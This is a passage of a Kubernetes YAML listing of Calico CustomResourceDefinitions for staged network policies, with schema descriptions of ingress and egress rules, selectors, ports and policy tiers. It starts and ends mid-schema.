                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      ports:
                        description: |-
                          ports is a list of ports which should be made accessible on the pods selected for
                          this rule. Each item in this list is combined using a logical OR. If this field is
                          empty or missing, this rule matches all ports (traffic not restricted by port).
                          If this field is present and contains at least one item, then this rule allows
                          traffic only if the traffic matches at least one port in the list.
                        items:
                          description: NetworkPolicyPort describes a port to allow
                            traffic on
                          properties:
                            endPort:
                              description: |-
                                endPort indicates that the range of ports from port to endPort if set, inclusive,
                                should be allowed by the policy. This field cannot be defined if the port field
                                is not defined or if the port field is defined as a named (string) port.
                                The endPort must be equal or greater than port.
                              format: int32
                              type: integer
                            port:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                port represents the port on the given protocol. This can either be a numerical or named
                                port on a pod. If this field is not provided, this matches all port names and
                                numbers.
                                If present, only traffic on the specified protocol AND port will be matched.
                              x-kubernetes-int-or-string: true
                            protocol:
                              description: |-
                                protocol represents the protocol (TCP, UDP, or SCTP) which traffic must match.
                                If not specified, this field defaults to TCP.
                              type: string
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                    type: object
                  type: array
                podSelector:
                  description: |-
                    Selects the pods to which this NetworkPolicy object applies. The array of
                    ingress rules is applied to any pods selected by this field. Multiple network
                    policies can select the same set of pods. In this case, the ingress rules for
                    each are combined additively. This field is NOT optional and follows standard
                    label selector semantics. An empty podSelector matches all pods in this
                    namespace.
                  properties:
                    matchExpressions:
                      description: matchExpressions is a list of label selector requirements.
                        The requirements are ANDed.
                      items:
                        description: |-
                          A label selector requirement is a selector that contains values, a key, and an operator that
                          relates the key and values.
                        properties:
                          key:
                            description: key is the label key that the selector applies
                              to.
                            type: string
                          operator:
                            description: |-
                              operator represents a key's relationship to a set of values.
                              Valid operators are In, NotIn, Exists and DoesNotExist.
                            type: string
                          values:
                            description: |-
                              values is an array of string values. If the operator is In or NotIn,
                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                              the values array must be empty. This array is replaced during a strategic
                              merge patch.
                            items:
                              type: string
                            type: array
                            x-kubernetes-list-type: atomic
                        required:
                        - key
                        - operator
                        type: object
                      type: array
                      x-kubernetes-list-type: atomic
                    matchLabels:
                      additionalProperties:
                        type: string
                      description: |-
                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                      type: object
                  type: object
                  x-kubernetes-map-type: atomic
                policyTypes:
                  description: |-
                    List of rule types that the NetworkPolicy relates to.
                    Valid options are Ingress, Egress, or Ingress,Egress.
                    If this field is not specified, it will default based on the existence of Ingress or Egress rules;
                    policies that contain an Egress section are assumed to affect Egress, and all policies
                    (whether or not they contain an Ingress section) are assumed to affect Ingress.
                    If you want to write an egress-only policy, you must explicitly specify policyTypes [ "Egress" ].
                    Likewise, if you want to write a policy that specifies that no egress is allowed,
                    you must specify a policyTypes value that include "Egress" (since such a policy would not include
                    an Egress section and would otherwise default to just [ "Ingress" ]).
                    This field is beta-level in 1.8
                  items:
                    description: |-
                      PolicyType string describes the NetworkPolicy type
                      This type is beta-level in 1.8
                    type: string
                  type: array
                stagedAction:
                  description: The staged action. If this is omitted, the default
                    is Set.
                  type: string
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: StagedKubernetesNetworkPolicy
      listKind: StagedKubernetesNetworkPolicyList
      plural: stagedkubernetesnetworkpolicies
      singular: stagedkubernetesnetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"stagednetworkpolicies.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"StagedNetworkPolicy","listKind":"StagedNetworkPolicyList","plural":"stagednetworkpolicies","singular":"stagednetworkpolicy"},"preserveUnknownFields":false,"scope":"Namespaced","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"egress":{"description":"The ordered set of egress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"ingress":{"description":"The ordered set of ingress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"order":{"description":"Order is an optional field that specifies the order in which the policy is applied.\nPolicies with higher \"order\" are applied after those with lower\norder within the same tier.  If the order is omitted, it may be considered to be \"infinite\" - i.e. the\npolicy will be applied last.  Policies with identical order will be applied in\nalphanumerical order based on the Policy \"Name\" within the tier.","type":"number"},"performanceHints":{"description":"PerformanceHints contains a list of hints to Calico's policy engine to\nhelp process the policy more efficiently.  Hints never change the\nenforcement behaviour of the policy.\n\nCurrently, the only available hint is \"AssumeNeededOnEveryNode\".  When\nthat hint is set on a policy, Felix will act as if the policy matches\na local endpoint even if it does not. This is useful for \"preloading\"\nany large static policies that are known to be used on every node.\nIf the policy is _not_ used on a particular node then the work\ndone to preload the policy (and to maintain it) is wasted.","items":{"type":"string"},"type":"array"},"selector":{"description":"The selector is an expression used to pick pick out the endpoints that the policy should\nbe applied to.\n\nSelector expressions follow this syntax:\n\n\tlabel == \"string_literal\"  -\u003e  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   -\u003e  not equal; also matches if label is not present\n\tlabel in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is not one of \"a\", \"b\", \"c\"\n\thas(label_name)  -\u003e True if that label is present\n\t! expr -\u003e negation of expr\n\texpr \u0026\u0026 expr  -\u003e Short-circuit and\n\texpr || expr  -\u003e Short-circuit or\n\t( expr ) -\u003e parens for grouping\n\tall() or the empty selector -\u003e matches all endpoints.\n\nLabel names are allowed to contain alphanumerics, -, _ and /. String literals are more permissive\nbut they do not support escape characters.\n\nExamples (with made-up labels):\n\n\ttype == \"webserver\" \u0026\u0026 deployment == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment != \"dev\"\n\t! has(label_name)","type":"string"},"serviceAccountSelector":{"description":"ServiceAccountSelector is an optional field for an expression used to select a pod based on service accounts.","type":"string"},"stagedAction":{"description":"The staged action. If this is omitted, the default is Set.","type":"string"},"tier":{"description":"The name of the tier that this policy belongs to.  If this is omitted, the default\ntier (name is \"default\") is assumed.  The specified tier must exist in order to create\nsecurity policies within the tier, the \"default\" tier is created automatically if it\ndoes not exist, this means for deployments requiring only a single Tier, the tier name\nmay be omitted on all policy management requests.","type":"string"},"types":{"description":"Types indicates whether this policy applies to ingress, or to egress, or to both.  When\nnot explicitly specified (and so the value on creation is empty or nil), Calico defaults\nTypes according to what Ingress and Egress are present in the policy.  The\ndefault is:\n\n- [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are\n  also no Ingress rules)\n\n- [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules\n\n- [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.\n\nWhen the policy is read back again, Types will always be one of these values, never empty\nor nil.","items":{"description":"PolicyType enumerates the possible values of the PolicySpec Types field.","type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: stagednetworkpolicies.crd.projectcalico.org
    resourceVersion: "6820732"
    uid: cde9f5c2-b32d-4476-8815-3ec5d5b5d2bc
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: StagedNetworkPolicy
      listKind: StagedNetworkPolicyList
      plural: stagednetworkpolicies
      singular: stagednetworkpolicy
    scope: Namespaced
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                egress:
                  description: |-
                    The ordered set of egress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
